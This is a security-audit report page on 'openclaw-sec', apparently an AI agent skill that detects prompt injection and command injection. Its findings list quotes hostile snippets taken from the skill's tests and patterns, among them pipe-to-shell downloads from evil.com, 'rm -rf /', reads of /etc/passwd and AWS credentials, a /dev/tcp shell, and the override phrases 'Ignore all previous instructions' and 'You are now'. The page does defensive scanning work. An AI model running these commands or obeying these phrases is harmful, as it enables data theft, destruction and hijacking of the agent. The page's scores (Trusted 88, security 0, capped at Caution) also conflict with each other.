ClawAudit verdict

openclaw-sec

88
🟢 Trusted
Low risk — reviewed by ClawAudit, behavior matches stated purpose

Receives external input AND executes processes

Security suite with 6 parallel detection modules for prompt injection, command injection, SSRF, path traversal, secrets exposure, and content policy violations; a legitimate security protection layer with no evidence of malicious behavior.

0
security
80
transparency
100
maintenance

What it does

These are capability combinations: each listed behavior occurs in the skill, but ClawAudit detects co-occurrence — it does not verify that one flows into another. Read the code to confirm a live chain.

Capability combination critical

Receives external input AND executes processes — the shape of a command & control channel

LLM05 · LLM06 · ASI10

Capability combination high

Executes processes AND makes external network calls — may exfiltrate command output

LLM02 · LLM06 · ASI03

Capability combination high

Accesses credentials AND makes external network calls — potential credential theft

LLM02 · ASI03

Capability combination high

Accesses credentials AND encodes data — may obfuscate stolen credentials

LLM02 · ASI03 · ASI04

Permission integrity

Makes network requests but does not declare curl/wget in required binaries

network_out

Code accesses API keys/tokens but declares no environment variables

credential_access

Findings (38)

Pattern match critical

Recursive delete from root or home — destructive command

SKILL.md · code · rm -rf /

Pattern match critical

Accesses sensitive system files

SKILL.md · code · /etc/passwd

Pattern match critical

Reads /proc/self/environ — dumps all environment variables

SKILL.md · code · /proc/self/environ

Pattern match critical

Prompt injection — tries to override agent instructions

SKILL.md · code · Ignore all previous instructions

Pattern match critical

Unicode homoglyph detected — uses lookalike characters to evade pattern matching

src/modules/content-scanner/__tests__/scanner.test.ts · prose

Pattern match high

HTTP request to bare IP address — common in malicious payloads

SKILL.md · code · http://169.254.169.254

Pattern match high

Possible prompt injection — attempts to redefine agent identity

SKILL.md · code · You are now

Pattern match high

subprocess execution — runs system commands from Python

SKILL.md · code · subprocess.run(

Pattern match high

Accesses AWS credentials file

__tests__/integration/multi-module.test.ts · prose · downgraded · ~/.aws/credentials

Pattern match high

Dynamic __import__('os') — Python OS command execution

src/modules/code-execution-detector/__tests__/detector.test.ts · prose · downgraded · __import__("os")

Pattern match high

Direct __builtins__ access — can invoke any builtin function

src/modules/code-execution-detector/__tests__/detector.test.ts · prose · downgraded · __builtins__.

Pattern match high

Pipe to bash — executes piped content as shell commands

src/modules/command-validator/__tests__/validator.test.ts · prose · downgraded · | bash

Pattern match high

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

src/modules/command-validator/__tests__/validator.test.ts · prose · downgraded · curl http://evil.com/script.sh | bash

Pattern match high

Pipe-to-shell pattern (wget | sh)

src/modules/command-validator/__tests__/validator.test.ts · prose · downgraded · wget http://malicious.com/script.sh -O - | bash

Pattern match high

Bash /dev/tcp — raw TCP connection via shell

src/modules/command-validator/__tests__/validator.test.ts · prose · downgraded · /dev/tcp/

Pattern match high

Uses eval() — can execute arbitrary code

src/modules/content-scanner/__tests__/scanner.test.ts · prose · downgraded · eval(

Pattern match high

Possible hardcoded credential

src/modules/secret-detector/__tests__/detector.test.ts · prose · downgraded · api_key = "abcdefghijklmnopqrstuvwxyz

Pattern match high

Dynamic Function constructor — equivalent to eval()

src/patterns/runtime-validation/code-execution-patterns.ts · prose · downgraded · new Function(

Pattern match high

Pipe to sh — executes piped content as shell commands

src/patterns/runtime-validation/command-injection.ts · prose · downgraded · |sh

Pattern match medium

Popular HTTP library — network access

SKILL.md · code · Got

Pattern match medium

References webhook/callback URL

SKILL.md · code · webhook_url

Pattern match medium

Accesses .ssh directory

__tests__/integration/multi-module.test.ts · prose · downgraded · .ssh/

Pattern match medium

Accesses cloud provider credentials

__tests__/integration/multi-module.test.ts · prose · downgraded · ~/.aws

Pattern match medium

Long base64 string (100+ chars) — likely obfuscated payload

__tests__/integration/multi-module.test.ts · prose · downgraded · 48656c6c6f20576f726c6421205468697320697320612074657374206d65737361676520746f2074

Pattern match medium

Uses exec() — may execute shell commands

__tests__/integration/multi-module.test.ts · prose · downgraded · exec(

Pattern match medium

Dynamic import() — loads module at runtime

jest.config.js · prose · downgraded · import("

Pattern match medium

References child_process — can spawn system processes

src/__tests__/cli.test.ts · prose · downgraded · child_process

Pattern match medium

Reads files from sensitive system paths

src/modules/code-execution-detector/__tests__/detector.test.ts · prose · downgraded · readFileSync("/etc

Pattern match medium

os.system/popen — direct OS command execution

src/modules/code-execution-detector/__tests__/detector.test.ts · prose · downgraded · os.system(

Pattern match medium

subprocess with shell=True — command injection vector

src/modules/command-validator/__tests__/validator.test.ts · prose · downgraded · subprocess.Popen("whoami", shell=True

Pattern match medium

Base64 decode (atob) — may hide malicious payloads

src/modules/content-scanner/__tests__/scanner.test.ts · prose · downgraded · atob(

Pattern match medium

References SSH/GPG private keys

src/modules/path-validator/__tests__/validator.test.ts · prose · downgraded · ssh_key

Pattern match medium

References sudo — requests elevated privileges

src/patterns/prompt-injection/policy-puppetry.ts · prose · downgraded · sudo

Pattern match low

Base64 encoding/decoding

src/modules/content-scanner/__tests__/scanner.test.ts · prose · downgraded · base64_encode

Pattern match low

String.fromCharCode — can build strings to evade detection

src/modules/content-scanner/__tests__/scanner.test.ts · prose · downgraded · String.fromCharCode

Pattern match low

Base64 encode (btoa) — may obfuscate data exfiltration

src/modules/content-scanner/__tests__/scanner.test.ts · prose · downgraded · btoa(

Pattern match low

References tunneling service

src/modules/exfiltration-detector/__tests__/detector.test.ts · prose · downgraded · ngrok

Pattern match low

Sets world-executable permissions

src/patterns/runtime-validation/command-injection.ts · prose · downgraded · chmod 777

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/B/D/E). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

credential_accessnetwork_innetwork_outdata_encodingprocess_exec
Check another skill Browse the registry Auditing your own skills or configs? Use the API